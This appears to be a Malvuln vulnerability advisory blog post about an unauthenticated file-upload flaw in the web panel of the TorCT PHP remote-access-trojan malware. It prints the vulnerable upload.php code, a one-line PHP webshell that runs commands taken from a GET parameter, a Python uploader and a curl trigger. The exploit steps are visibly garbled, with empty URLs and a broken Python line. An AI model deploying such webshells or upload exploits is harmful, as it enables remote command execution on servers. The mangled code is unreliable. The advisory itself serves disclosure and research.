Friday, March 18, 2022

BuilderTorCTPHPRAT.b Shell Upload

Discovery / credits: Malvuln - (c) 2022
Original source:
Contact: [email protected]

Threat: BuilderTorCTPHPRAT.b
Vulnerability: Arbitrary File Upload - RCE
Type: WebUI
MD5: 838f67d7a4b6824ec59892057aab3bb7 (Webremote TorCT Client.exe)
MD5: b54822058a3ed33c673d06113b453ebe (upload.php)
Vuln ID: MVID-2022-0519
Disclosure: 03/17/2022
Description: The TorCT client malwares web-panel allows unauthenticated uploads and does not check the expected file type E.g. ".png". Third-party attackers who can reach the server can upload their own backdoor PHP webshell and execute any commands on the malwares C2 server.

"upload.php" vulnerable code:

$DelOrNot = $_GET['D'];

if ($DelOrNot == "true")


$uploadDir = 'Upload/';
$uploadFile = $uploadDir . basename($_FILES['file']['name']);
if (is_uploaded_file($_FILES['file']['tmp_name']))
echo "File ". $_FILES['file']['name'] ." is successfully uploaded!\r\n";
if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadFile))
echo "File is successfully stored! ";
else print_r($_FILES);
echo "Upload Failed!";

1) Create PHP webshell "pwn.php", exec($_GET['cmd']);

2) Create Python uploader ""
import requests


files = {'file': open('pwn.php', 'rb')}
r =, files=files)
if r.status_code==200:

3) Exploit
curl ""

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thank you Templateism for the design - You should have written the code a little more complicated - Nothing Encrypted anymore